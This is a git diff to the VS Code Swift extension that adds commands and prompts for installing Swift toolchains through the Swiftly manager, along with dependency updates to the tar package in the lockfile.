diff --git a/CHANGELOG.md b/CHANGELOG.md index 678531df1..cedbaed68 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,7 @@ ### Added +- Swiftly toolchain installation support with commands to install stable and snapshot releases, progress tracking, and secure post-install script handling ([#1780](https://github.com/swiftlang/vscode-swift/pull/1780)) - Prompt to restart `SourceKit-LSP` after changing `.sourcekit-lsp/config.json` files ([#1744](https://github.com/swiftlang/vscode-swift/issues/1744)) - Prompt to cancel and replace the active test run if one is in flight ([#1774](https://github.com/swiftlang/vscode-swift/pull/1774)) - A walkthrough for first time extension users ([#1560](https://github.com/swiftlang/vscode-swift/issues/1560)) diff --git a/package-lock.json b/package-lock.json index 51e59d1d2..b7afa67f6 100644 --- a/package-lock.json +++ b/package-lock.json @@ -14,6 +14,7 @@ "fast-glob": "^3.3.3", "lcov-parse": "^1.0.0", "plist": "^3.1.0", + "tar": "^7.0.1", "vscode-languageclient": "^9.0.1", "xml2js": "^0.6.2", "zod": "^4.0.17" @@ -35,6 +36,7 @@ "@types/semver": "^7.7.0", "@types/sinon": "^17.0.4", "@types/sinon-chai": "^3.2.12", + "@types/tar": "^6.1.13", "@types/vscode": "^1.88.0", "@types/xml2js": "^0.4.14", "@typescript-eslint/eslint-plugin": "^8.39.1", @@ -997,6 +999,17 @@ "url": "https://github.com/chalk/wrap-ansi?sponsor=1" } }, + "node_modules/@isaacs/fs-minipass": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/@isaacs/fs-minipass/-/fs-minipass-4.0.1.tgz", + "integrity": "sha512-wgm9Ehl2jpeqP3zw/7mo3kRHFp5MEDhqAdwy1fTGkHAwnkGOVsgpvQhL8B5n1qlb01jV3n/bI0ZfZp5lWA1k4w==", + "dependencies": { + "minipass": "^7.0.4" + }, + "engines": { + "node": ">=18.0.0" + } + }, "node_modules/@istanbuljs/schema": { "version": "0.1.3", "resolved": "https://registry.npmjs.org/@istanbuljs/schema/-/schema-0.1.3.tgz", @@ -2110,6 +2123,25 @@ "dev": true, "license": "MIT" }, + "node_modules/@types/tar": { + "version": "6.1.13", + "resolved": "https://registry.npmjs.org/@types/tar/-/tar-6.1.13.tgz", + "integrity": "sha512-IznnlmU5f4WcGTh2ltRu/Ijpmk8wiWXfF0VA4s+HPjHZgvFggk1YaIkbo5krX/zUCzWF8N/l4+W/LNxnvAJ8nw==", + "dev": true, + "dependencies": { + "@types/node": "*", + "minipass": "^4.0.0" + } + }, + "node_modules/@types/tar/node_modules/minipass": { + "version": "4.2.8", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-4.2.8.tgz", + "integrity": "sha512-fNzuVyifolSLFL4NzpF+wEF4qrgqaaKX0haXPQEdQ7NKAN+WecoKMHV09YcuL/DHxrUsYQOK3MiuDf7Ip2OXfQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, "node_modules/@types/triple-beam": { "version": "1.3.5", "resolved": "https://registry.npmjs.org/@types/triple-beam/-/triple-beam-1.3.5.tgz", @@ -3602,6 +3634,32 @@ "url": "https://github.com/sponsors/sindresorhus" } }, + "node_modules/cacache/node_modules/tar": { + "version": "6.2.1", + "resolved": "https://registry.npmjs.org/tar/-/tar-6.2.1.tgz", + "integrity": "sha512-DZ4yORTwrbTj/7MZYq2w+/ZFdI6OZ/f9SFHR+71gIVUZhOQPHzVCLpvRnPgyaMpfWxxk/4ONva3GQSyNIKRv6A==", + "dev": true, + "dependencies": { + "chownr": "^2.0.0", + "fs-minipass": "^2.0.0", + "minipass": "^5.0.0", + "minizlib": "^2.1.1", + "mkdirp": "^1.0.3", + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/cacache/node_modules/tar/node_modules/minipass": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-5.0.0.tgz", + "integrity": "sha512-3FnjYuehv9k6ovOEbyOswadCDPX1piCfhV8ncmYtHOjuPwylVWsghTLo7rabjC3Rx5xD4HDx8Wm1xnMF7S5qFQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, "node_modules/call-bind": { "version": "1.0.7", "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.7.tgz", @@ -8007,6 +8065,15 @@ "node": "^12.13 || ^14.13 || >=16" } }, + "node_modules/node-gyp/node_modules/chownr": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/chownr/-/chownr-2.0.0.tgz", + "integrity": "sha512-bIomtDF5KGpdogkLd9VspvFzk9KfpyyGlS8YFVZl7TGPBHL5snIOnxeshwVgPteQ9b4Eydl+pVbIyE1DcvCWgQ==", + "dev": true, + "engines": { + "node": ">=10" + } + }, "node_modules/node-gyp/node_modules/glob": { "version": "7.2.3", "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", @@ -8028,6 +8095,32 @@ "url": "https://github.com/sponsors/isaacs" } }, + "node_modules/node-gyp/node_modules/minipass": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-5.0.0.tgz", + "integrity": "sha512-3FnjYuehv9k6ovOEbyOswadCDPX1piCfhV8ncmYtHOjuPwylVWsghTLo7rabjC3Rx5xD4HDx8Wm1xnMF7S5qFQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/node-gyp/node_modules/tar": { + "version": "6.2.1", + "resolved": "https://registry.npmjs.org/tar/-/tar-6.2.1.tgz", + "integrity": "sha512-DZ4yORTwrbTj/7MZYq2w+/ZFdI6OZ/f9SFHR+71gIVUZhOQPHzVCLpvRnPgyaMpfWxxk/4ONva3GQSyNIKRv6A==", + "dev": true, + "dependencies": { + "chownr": "^2.0.0", + "fs-minipass": "^2.0.0", + "minipass": "^5.0.0", + "minizlib": "^2.1.1", + "mkdirp": "^1.0.3", + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, "node_modules/node-pty": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/node-pty/-/node-pty-1.0.0.tgz", @@ -10143,21 +10236,19 @@ } }, "node_modules/tar": { - "version": "6.2.1", - "resolved": "https://registry.npmjs.org/tar/-/tar-6.2.1.tgz", - "integrity": "sha512-DZ4yORTwrbTj/7MZYq2w+/ZFdI6OZ/f9SFHR+71gIVUZhOQPHzVCLpvRnPgyaMpfWxxk/4ONva3GQSyNIKRv6A==", - "dev": true, - "license": "ISC", + "version": "7.4.3", + "resolved": "https://registry.npmjs.org/tar/-/tar-7.4.3.tgz", + "integrity": "sha512-5S7Va8hKfV7W5U6g3aYxXmlPoZVAwUMy9AOKyF2fVuZa2UD3qZjg578OrLRt8PcNN1PleVaL/5/yYATNL0ICUw==", "dependencies": { - "chownr": "^2.0.0", - "fs-minipass": "^2.0.0", - "minipass": "^5.0.0", - "minizlib": "^2.1.1", - "mkdirp": "^1.0.3", - "yallist": "^4.0.0" + "@isaacs/fs-minipass": "^4.0.0", + "chownr": "^3.0.0", + "minipass": "^7.1.2", + "minizlib": "^3.0.1", + "mkdirp": "^3.0.1", + "yallist": "^5.0.0" }, "engines": { - "node": ">=10" + "node": ">=18" } }, "node_modules/tar-fs": { @@ -10207,23 +10298,44 @@ } }, "node_modules/tar/node_modules/chownr": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/chownr/-/chownr-2.0.0.tgz", - "integrity": "sha512-bIomtDF5KGpdogkLd9VspvFzk9KfpyyGlS8YFVZl7TGPBHL5snIOnxeshwVgPteQ9b4Eydl+pVbIyE1DcvCWgQ==", - "dev": true, - "license": "ISC", + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/chownr/-/chownr-3.0.0.tgz", + "integrity": "sha512-+IxzY9BZOQd/XuYPRmrvEVjF/nqj5kgT4kEq7VofrDoM1MxoRjEWkrCC3EtLi59TVawxTAn+orJwFQcrqEN1+g==", + "engines": { + "node": ">=18" + } + }, + "node_modules/tar/node_modules/minizlib": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/minizlib/-/minizlib-3.0.2.tgz", + "integrity": "sha512-oG62iEk+CYt5Xj2YqI5Xi9xWUeZhDI8jjQmC5oThVH5JGCTgIjr7ciJDzC7MBzYd//WvR1OTmP5Q38Q8ShQtVA==", + "dependencies": { + "minipass": "^7.1.2" + }, + "engines": { + "node": ">= 18" + } + }, + "node_modules/tar/node_modules/mkdirp": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-3.0.1.tgz", + "integrity": "sha512-+NsyUUAZDmo6YVHzL/stxSu3t9YS1iljliy3BSDrXJ/dkn1KYdmtZODGGjLcc9XLgVVpH4KshHB8XmZgMhaBXg==", + "bin": { + "mkdirp": "dist/cjs/src/bin.js" + }, "engines": { "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" } }, - "node_modules/tar/node_modules/minipass": { + "node_modules/tar/node_modules/yallist": { "version": "5.0.0", - "resolved": "https://registry.npmjs.org/minipass/-/minipass-5.0.0.tgz", - "integrity": "sha512-3FnjYuehv9k6ovOEbyOswadCDPX1piCfhV8ncmYtHOjuPwylVWsghTLo7rabjC3Rx5xD4HDx8Wm1xnMF7S5qFQ==", - "dev": true, - "license": "ISC", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-5.0.0.tgz", + "integrity": "sha512-YgvUTfwqyc7UXVMrB+SImsVYSmTS8X/tSrtdNZMImM+n7+QTriRXyXim0mBrTXNeqzVF0KWGgHPeiyViFFrNDw==", "engines": { - "node": ">=8" + "node": ">=18" } }, "node_modules/terminal-link": { @@ -11662,6 +11774,14 @@ } } }, + "@isaacs/fs-minipass": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/@isaacs/fs-minipass/-/fs-minipass-4.0.1.tgz", + "integrity": "sha512-wgm9Ehl2jpeqP3zw/7mo3kRHFp5MEDhqAdwy1fTGkHAwnkGOVsgpvQhL8B5n1qlb01jV3n/bI0ZfZp5lWA1k4w==", + "requires": { + "minipass": "^7.0.4" + } + }, "@istanbuljs/schema": { "version": "0.1.3", "resolved": "https://registry.npmjs.org/@istanbuljs/schema/-/schema-0.1.3.tgz", @@ -12568,6 +12688,24 @@ "integrity": "sha512-mQkU2jY8jJEF7YHjHvsQO8+3ughTL1mcnn96igfhONmR+fUPSKIkefQYpSe8bsly2Ep7oQbn/6VG5/9/0qcArQ==", "dev": true }, + "@types/tar": { + "version": "6.1.13", + "resolved": "https://registry.npmjs.org/@types/tar/-/tar-6.1.13.tgz", + "integrity": "sha512-IznnlmU5f4WcGTh2ltRu/Ijpmk8wiWXfF0VA4s+HPjHZgvFggk1YaIkbo5krX/zUCzWF8N/l4+W/LNxnvAJ8nw==", + "dev": true, + "requires": { + "@types/node": "*", + "minipass": "^4.0.0" + }, + "dependencies": { + "minipass": { + "version": "4.2.8", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-4.2.8.tgz", + "integrity": "sha512-fNzuVyifolSLFL4NzpF+wEF4qrgqaaKX0haXPQEdQ7NKAN+WecoKMHV09YcuL/DHxrUsYQOK3MiuDf7Ip2OXfQ==", + "dev": true + } + } + }, "@types/triple-beam": { "version": "1.3.5", "resolved": "https://registry.npmjs.org/@types/triple-beam/-/triple-beam-1.3.5.tgz", @@ -13626,6 +13764,28 @@ "requires": { "aggregate-error": "^3.0.0" } + }, + "tar": { + "version": "6.2.1", + "resolved": "https://registry.npmjs.org/tar/-/tar-6.2.1.tgz", + "integrity": "sha512-DZ4yORTwrbTj/7MZYq2w+/ZFdI6OZ/f9SFHR+71gIVUZhOQPHzVCLpvRnPgyaMpfWxxk/4ONva3GQSyNIKRv6A==", + "dev": true, + "requires": { + "chownr": "^2.0.0", + "fs-minipass": "^2.0.0", + "minipass": "^5.0.0", + "minizlib": "^2.1.1", + "mkdirp": "^1.0.3", + "yallist": "^4.0.0" + }, + "dependencies": { + "minipass": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-5.0.0.tgz", + "integrity": "sha512-3FnjYuehv9k6ovOEbyOswadCDPX1piCfhV8ncmYtHOjuPwylVWsghTLo7rabjC3Rx5xD4HDx8Wm1xnMF7S5qFQ==", + "dev": true + } + } } } }, @@ -16819,6 +16979,12 @@ "which": "^2.0.2" }, "dependencies": { + "chownr": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/chownr/-/chownr-2.0.0.tgz", + "integrity": "sha512-bIomtDF5KGpdogkLd9VspvFzk9KfpyyGlS8YFVZl7TGPBHL5snIOnxeshwVgPteQ9b4Eydl+pVbIyE1DcvCWgQ==", + "dev": true + }, "glob": { "version": "7.2.3", "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", @@ -16832,6 +16998,26 @@ "once": "^1.3.0", "path-is-absolute": "^1.0.0" } + }, + "minipass": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-5.0.0.tgz", + "integrity": "sha512-3FnjYuehv9k6ovOEbyOswadCDPX1piCfhV8ncmYtHOjuPwylVWsghTLo7rabjC3Rx5xD4HDx8Wm1xnMF7S5qFQ==", + "dev": true + }, + "tar": { + "version": "6.2.1", + "resolved": "https://registry.npmjs.org/tar/-/tar-6.2.1.tgz", + "integrity": "sha512-DZ4yORTwrbTj/7MZYq2w+/ZFdI6OZ/f9SFHR+71gIVUZhOQPHzVCLpvRnPgyaMpfWxxk/4ONva3GQSyNIKRv6A==", + "dev": true, + "requires": { + "chownr": "^2.0.0", + "fs-minipass": "^2.0.0", + "minipass": "^5.0.0", + "minizlib": "^2.1.1", + "mkdirp": "^1.0.3", + "yallist": "^4.0.0" + } } } }, @@ -18314,30 +18500,40 @@ "dev": true }, "tar": { - "version": "6.2.1", - "resolved": "https://registry.npmjs.org/tar/-/tar-6.2.1.tgz", - "integrity": "sha512-DZ4yORTwrbTj/7MZYq2w+/ZFdI6OZ/f9SFHR+71gIVUZhOQPHzVCLpvRnPgyaMpfWxxk/4ONva3GQSyNIKRv6A==", - "dev": true, + "version": "7.4.3", + "resolved": "https://registry.npmjs.org/tar/-/tar-7.4.3.tgz", + "integrity": "sha512-5S7Va8hKfV7W5U6g3aYxXmlPoZVAwUMy9AOKyF2fVuZa2UD3qZjg578OrLRt8PcNN1PleVaL/5/yYATNL0ICUw==", "requires": { - "chownr": "^2.0.0", - "fs-minipass": "^2.0.0", - "minipass": "^5.0.0", - "minizlib": "^2.1.1", - "mkdirp": "^1.0.3", - "yallist": "^4.0.0" + "@isaacs/fs-minipass": "^4.0.0", + "chownr": "^3.0.0", + "minipass": "^7.1.2", + "minizlib": "^3.0.1", + "mkdirp": "^3.0.1", + "yallist": "^5.0.0" }, "dependencies": { "chownr": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/chownr/-/chownr-2.0.0.tgz", - "integrity": "sha512-bIomtDF5KGpdogkLd9VspvFzk9KfpyyGlS8YFVZl7TGPBHL5snIOnxeshwVgPteQ9b4Eydl+pVbIyE1DcvCWgQ==", - "dev": true + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/chownr/-/chownr-3.0.0.tgz", + "integrity": "sha512-+IxzY9BZOQd/XuYPRmrvEVjF/nqj5kgT4kEq7VofrDoM1MxoRjEWkrCC3EtLi59TVawxTAn+orJwFQcrqEN1+g==" }, - "minipass": { + "minizlib": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/minizlib/-/minizlib-3.0.2.tgz", + "integrity": "sha512-oG62iEk+CYt5Xj2YqI5Xi9xWUeZhDI8jjQmC5oThVH5JGCTgIjr7ciJDzC7MBzYd//WvR1OTmP5Q38Q8ShQtVA==", + "requires": { + "minipass": "^7.1.2" + } + }, + "mkdirp": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-3.0.1.tgz", + "integrity": "sha512-+NsyUUAZDmo6YVHzL/stxSu3t9YS1iljliy3BSDrXJ/dkn1KYdmtZODGGjLcc9XLgVVpH4KshHB8XmZgMhaBXg==" + }, + "yallist": { "version": "5.0.0", - "resolved": "https://registry.npmjs.org/minipass/-/minipass-5.0.0.tgz", - "integrity": "sha512-3FnjYuehv9k6ovOEbyOswadCDPX1piCfhV8ncmYtHOjuPwylVWsghTLo7rabjC3Rx5xD4HDx8Wm1xnMF7S5qFQ==", - "dev": true + "resolved": "https://registry.npmjs.org/yallist/-/yallist-5.0.0.tgz", + "integrity": "sha512-YgvUTfwqyc7UXVMrB+SImsVYSmTS8X/tSrtdNZMImM+n7+QTriRXyXim0mBrTXNeqzVF0KWGgHPeiyViFFrNDw==" } } }, diff --git a/package.json b/package.json index 301e2fe50..a97bfc44c 100644 --- a/package.json +++ b/package.json @@ -333,6 +333,16 @@ "title": "Select Toolchain...", "category": "Swift" }, + { + "command": "swift.installSwiftlyToolchain", + "title": "Install Swiftly Toolchain...", + "category": "Swift" + }, + { + "command": "swift.installSwiftlySnapshotToolchain", + "title": "Install Swiftly Snapshot Toolchain...", + "category": "Swift" + }, { "command": "swift.runSnippet", "title": "Run Swift Snippet", @@ -1992,6 +2002,7 @@ "@types/semver": "^7.7.0", "@types/sinon": "^17.0.4", "@types/sinon-chai": "^3.2.12", + "@types/tar": "^6.1.13", "@types/vscode": "^1.88.0", "@types/xml2js": "^0.4.14", "@typescript-eslint/eslint-plugin": "^8.39.1", @@ -2038,6 +2049,7 @@ "fast-glob": "^3.3.3", "lcov-parse": "^1.0.0", "plist": "^3.1.0", + "tar": "^7.0.1", "vscode-languageclient": "^9.0.1", "xml2js": "^0.6.2", "zod": "^4.0.17" diff --git a/src/PackageWatcher.ts b/src/PackageWatcher.ts index 5bf7a366a..fd6a5fcbc 100644 --- a/src/PackageWatcher.ts +++ b/src/PackageWatcher.ts @@ -21,6 +21,7 @@ import { BuildFlags } from "./toolchain/BuildFlags"; import { Version } from "./utilities/version"; import { fileExists } from "./utilities/filesystem"; import { showReloadExtensionNotification } from "./ui/ReloadExtension"; +import { Swiftly } from "./toolchain/swiftly"; /** * Watches for changes to **Package.swift** and **Package.resolved**. @@ -137,6 +138,27 @@ export class PackageWatcher { async handleSwiftVersionFileChange() { const version = await this.readSwiftVersionFile(); if (version && version.toString() !== this.currentVersion?.toString()) { + // Check if this is a new .swift-version file and Swiftly is missing + if (!this.currentVersion && (await this.shouldPromptSwiftlyInstallForVersion())) { + const choice = await vscode.window.showInformationMessage( + `Detected .swift-version file requesting Swift ${version.toString()}. Swiftly (Swift toolchain manager) is not installed. Would you like to install it to manage Swift versions automatically?`, + "Install Swiftly", + "Don't show again", + "Later" + ); + + if (choice === "Install Swiftly") { + await Swiftly.promptInstallSwiftly(this.workspaceContext.logger); + return; // Extension will reload after Swiftly installation + } else if (choice === "Don't show again") { + // Store user preference to not show again + await this.workspaceContext.extensionContext.globalState.update( + "swift.suppressSwiftlyPrompt", + true + ); + } + } + await this.workspaceContext.fireEvent( this.folderContext, FolderOperation.swiftVersionUpdated @@ -148,6 +170,20 @@ export class PackageWatcher { this.currentVersion = version ?? this.folderContext.toolchain.swiftVersion; } + private async shouldPromptSwiftlyInstallForVersion(): Promise { + // Check if user has suppressed the prompt + const suppressPrompt = this.workspaceContext.extensionContext.globalState.get( + "swift.suppressSwiftlyPrompt", + false + ); + if (suppressPrompt) { + return false; + } + + // Check if Swiftly is supported and missing + return Swiftly.isSupported() && (await Swiftly.isMissing(this.workspaceContext.logger)); + } + private async readSwiftVersionFile() { const versionFile = path.join(this.folderContext.folder.fsPath, ".swift-version"); try { diff --git a/src/WorkspaceContext.ts b/src/WorkspaceContext.ts index 252f67f65..0033d3dd7 100644 --- a/src/WorkspaceContext.ts +++ b/src/WorkspaceContext.ts @@ -76,7 +76,7 @@ export class WorkspaceContext implements vscode.Disposable { public loggerFactory: SwiftLoggerFactory; constructor( - extensionContext: vscode.ExtensionContext, + public extensionContext: vscode.ExtensionContext, public logger: SwiftLogger, public globalToolchain: SwiftToolchain ) { diff --git a/src/commands.ts b/src/commands.ts index ebd575d22..02576ff94 100644 --- a/src/commands.ts +++ b/src/commands.ts @@ -51,6 +51,10 @@ import { generateLaunchConfigurations } from "./commands/generateLaunchConfigura import { runTest } from "./commands/runTest"; import { generateSourcekitConfiguration } from "./commands/generateSourcekitConfiguration"; import { SwiftLogger } from "./logging/SwiftLogger"; +import { + installSwiftlyToolchain, + installSwiftlySnapshotToolchain, +} from "./commands/installSwiftlyToolchain"; /** * References: @@ -111,6 +115,8 @@ export enum Commands { OPEN_MANIFEST = "swift.openManifest", RESTART_LSP = "swift.restartLSPServer", SELECT_TOOLCHAIN = "swift.selectToolchain", + INSTALL_SWIFTLY_TOOLCHAIN = "swift.installSwiftlyToolchain", + INSTALL_SWIFTLY_SNAPSHOT_TOOLCHAIN = "swift.installSwiftlySnapshotToolchain", GENERATE_SOURCEKIT_CONFIG = "swift.generateSourcekitConfiguration", } @@ -348,6 +354,14 @@ export function register(ctx: WorkspaceContext): vscode.Disposable[] { "@ext:swiftlang.swift-vscode " ) ), + vscode.commands.registerCommand( + Commands.INSTALL_SWIFTLY_TOOLCHAIN, + async () => await installSwiftlyToolchain(ctx) + ), + vscode.commands.registerCommand( + Commands.INSTALL_SWIFTLY_SNAPSHOT_TOOLCHAIN, + async () => await installSwiftlySnapshotToolchain(ctx) + ), ]; } diff --git a/src/commands/installSwiftlyToolchain.ts b/src/commands/installSwiftlyToolchain.ts new file mode 100644 index 000000000..75a97d1d8 --- /dev/null +++ b/src/commands/installSwiftlyToolchain.ts @@ -0,0 +1,252 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// + +import * as vscode from "vscode"; +import { QuickPickItem } from "vscode"; +import { WorkspaceContext } from "../WorkspaceContext"; +import { + AvailableToolchain, + isSnapshotVersion, + isStableVersion, + Swiftly, + SwiftlyProgressData, +} from "../toolchain/swiftly"; +import { showReloadExtensionNotification } from "../ui/ReloadExtension"; + +interface SwiftlyToolchainItem extends QuickPickItem { + toolchain: AvailableToolchain; +} + +async function downloadAndInstallToolchain(selected: SwiftlyToolchainItem, ctx: WorkspaceContext) { + try { + await vscode.window.withProgress( + { + location: vscode.ProgressLocation.Notification, + title: `Installing Swift ${selected.toolchain.version.name}`, + cancellable: false, + }, + async progress => { + progress.report({ message: "Starting installation..." }); + + let lastProgress = 0; + + await Swiftly.installToolchain( + selected.toolchain.version.name, + (progressData: SwiftlyProgressData) => { + if ( + progressData.step?.percent !== undefined && + progressData.step.percent > lastProgress + ) { + const increment = progressData.step.percent - lastProgress; + progress.report({ + increment, + message: + progressData.step.text ?? + `${progressData.step.percent}% complete`, + }); + lastProgress = progressData.step.percent; + } + }, + ctx.logger + ); + + progress.report({ + increment: 100 - lastProgress, + message: "Installation complete", + }); + } + ); + void showReloadExtensionNotification( + `Swift ${selected.toolchain.version.name} has been installed and activated. Visual Studio Code needs to be reloaded.` + ); + } catch (error) { + ctx.logger?.error(`Failed to install Swift ${selected.toolchain.version.name}: ${error}`); + void vscode.window.showErrorMessage( + `Failed to install Swift ${selected.toolchain.version.name}: ${error}` + ); + } +} + +/** + * Shows a quick pick dialog to install available Swiftly toolchains + */ +export async function installSwiftlyToolchain(ctx: WorkspaceContext): Promise { + if (!Swiftly.isSupported()) { + ctx.logger?.warn("Swiftly is not supported on this platform."); + void vscode.window.showErrorMessage( + "Swiftly is not supported on this platform. Only macOS and Linux are supported." + ); + return; + } + + if (!(await Swiftly.isInstalled())) { + ctx.logger?.warn("Swiftly is not installed."); + void vscode.window.showErrorMessage( + "Swiftly is not installed. Please install Swiftly first from https://www.swift.org/install/" + ); + return; + } + + const availableToolchains = await Swiftly.listAvailable(ctx.logger); + + if (availableToolchains.length === 0) { + ctx.logger?.debug("No toolchains available for installation via Swiftly."); + void vscode.window.showInformationMessage( + "No toolchains are available for installation via Swiftly." + ); + return; + } + + const uninstalledToolchains = availableToolchains.filter(toolchain => !toolchain.installed); + + if (uninstalledToolchains.length === 0) { + ctx.logger?.debug("All available toolchains are already installed."); + void vscode.window.showInformationMessage( + "All available toolchains are already installed." + ); + return; + } + + // Sort toolchains with most recent versions first and filter only stable releases + const sortedToolchains = sortToolchainsByVersion( + uninstalledToolchains.filter(toolchain => toolchain.version.type === "stable") + ); + + ctx.logger.debug( + `Available toolchains for installation: ${sortedToolchains.map(t => t.version.name).join(", ")}` + ); + const quickPickItems = sortedToolchains.map(toolchain => ({ + label: `$(cloud-download) ${toolchain.version.name}`, + toolchain: toolchain, + })); + + const selected = await vscode.window.showQuickPick(quickPickItems, { + title: "Install Swift Toolchain via Swiftly", + placeHolder: "Pick a Swift toolchain to install", + canPickMany: false, + }); + + if (!selected) { + return; + } + + await downloadAndInstallToolchain(selected, ctx); +} + +/** + * Shows a quick pick dialog to install available Swiftly snapshot toolchains + */ +export async function installSwiftlySnapshotToolchain(ctx: WorkspaceContext): Promise { + if (!Swiftly.isSupported()) { + void vscode.window.showErrorMessage( + "Swiftly is not supported on this platform. Only macOS and Linux are supported." + ); + return; + } + + if (!(await Swiftly.isInstalled())) { + void vscode.window.showErrorMessage( + "Swiftly is not installed. Please install Swiftly first from https://www.swift.org/install/" + ); + return; + } + + const availableToolchains = await Swiftly.listAvailable(ctx.logger); + + if (availableToolchains.length === 0) { + ctx.logger?.debug("No toolchains available for installation via Swiftly."); + void vscode.window.showInformationMessage( + "No toolchains are available for installation via Swiftly." + ); + return; + } + + // Filter for only uninstalled snapshot toolchains + const uninstalledSnapshotToolchains = availableToolchains.filter( + toolchain => !toolchain.installed && toolchain.version.type === "snapshot" + ); + + if (uninstalledSnapshotToolchains.length === 0) { + ctx.logger?.debug("All available snapshot toolchains are already installed."); + void vscode.window.showInformationMessage( + "All available snapshot toolchains are already installed." + ); + return; + } + + // Sort toolchains with most recent versions first + const sortedToolchains = sortToolchainsByVersion(uninstalledSnapshotToolchains); + + const quickPickItems = sortedToolchains.map(toolchain => ({ + label: `$(cloud-download) ${toolchain.version.name}`, + description: "snapshot", + detail: `Date: ${ + toolchain.version.type === "snapshot" ? toolchain.version.date || "Unknown" : "Unknown" + } • Branch: ${toolchain.version.type === "snapshot" ? toolchain.version.branch || "Unknown" : "Unknown"}`, + toolchain: toolchain, + })); + + const selected = await vscode.window.showQuickPick(quickPickItems, { + title: "Install Swift Snapshot Toolchain via Swiftly", + placeHolder: "Pick a Swift snapshot toolchain to install", + canPickMany: false, + }); + + if (!selected) { + return; + } + + await downloadAndInstallToolchain(selected, ctx); +} + +/** + * Sorts toolchains by version with most recent first + */ +function sortToolchainsByVersion(toolchains: AvailableToolchain[]): AvailableToolchain[] { + return toolchains.sort((a, b) => { + // First sort by type (stable before snapshot) + if (a.version.type !== b.version.type) { + return isStableVersion(a.version) ? -1 : 1; + } + + // For stable releases, sort by semantic version + if (isStableVersion(a.version) && isStableVersion(b.version)) { + const versionA = a.version; + const versionB = b.version; + + if (versionA && versionB) { + if (versionA.major !== versionB.major) { + return versionB.major - versionA.major; + } + if (versionA.minor !== versionB.minor) { + return versionB.minor - versionA.minor; + } + return versionB.patch - versionA.patch; + } + } + + // For snapshots, sort by date (newer first) + if (isSnapshotVersion(a.version) && isSnapshotVersion(b.version)) { + const dateA = a.version.date; + const dateB = b.version.date; + + if (dateA && dateB) { + return dateB.localeCompare(dateA); + } + } + + // Fallback to string comparison + return b.version.name.localeCompare(a.version.name); + }); +} diff --git a/src/toolchain/swiftly.ts b/src/toolchain/swiftly.ts index d7bd97c1f..2a8a8f1ce 100644 --- a/src/toolchain/swiftly.ts +++ b/src/toolchain/swiftly.ts @@ -15,12 +15,17 @@ import * as path from "path"; import { SwiftlyConfig } from "./ToolchainVersion"; import * as fs from "fs/promises"; -import { execFile, ExecFileError } from "../utilities/utilities"; +import * as fsSync from "fs"; +import * as os from "os"; +import * as readline from "readline"; +import * as Stream from "stream"; +import { execFile, ExecFileError, execFileStreamOutput } from "../utilities/utilities"; import * as vscode from "vscode"; import { Version } from "../utilities/version"; import { z } from "zod/v4/mini"; import { SwiftLogger } from "../logging/SwiftLogger"; import { findBinaryPath } from "../utilities/shell"; +import { downloadFile } from "../utilities/utilities"; const ListResult = z.object({ toolchains: z.array( @@ -52,6 +57,65 @@ const InUseVersionResult = z.object({ version: z.string(), }); +const StableVersion = z.object({ + major: z.number(), + minor: z.number(), + patch: z.number(), + name: z.string(), + type: z.literal("stable"), +}); + +export type StableVersion = z.infer; + +const SnapshotVersion = z.object({ + major: z.number(), + minor: z.number(), + branch: z.string(), + date: z.string(), + name: z.string(), + type: z.literal("snapshot"), +}); + +export type SnapshotVersion = z.infer; + +const AvailableToolchain = z.object({ + inUse: z.boolean(), + installed: z.boolean(), + isDefault: z.boolean(), + version: z.discriminatedUnion("type", [StableVersion, SnapshotVersion]), +}); + +export function isStableVersion( + version: StableVersion | SnapshotVersion +): version is StableVersion { + return version.type === "stable"; +} + +export function isSnapshotVersion( + version: StableVersion | SnapshotVersion +): version is SnapshotVersion { + return version.type === "snapshot"; +} + +const ListAvailableResult = z.object({ + toolchains: z.array(AvailableToolchain), +}); +export type AvailableToolchain = z.infer; + +export interface SwiftlyProgressData { + step?: { + text?: string; + timestamp?: number; + percent?: number; + }; +} + +export interface PostInstallValidationResult { + isValid: boolean; + summary: string; + invalidCommands?: string[]; +} + export class Swiftly { /** * Finds the version of Swiftly installed on the system. @@ -220,6 +284,378 @@ export class Swiftly { return undefined; } + /** + * Lists all toolchains available for installation from swiftly + * + * @param branch Optional branch to filter available toolchains (e.g., "main" for snapshots) + * @param logger Optional logger for error reporting + * @returns Array of available toolchains + */ + public static async listAvailable( + logger?: 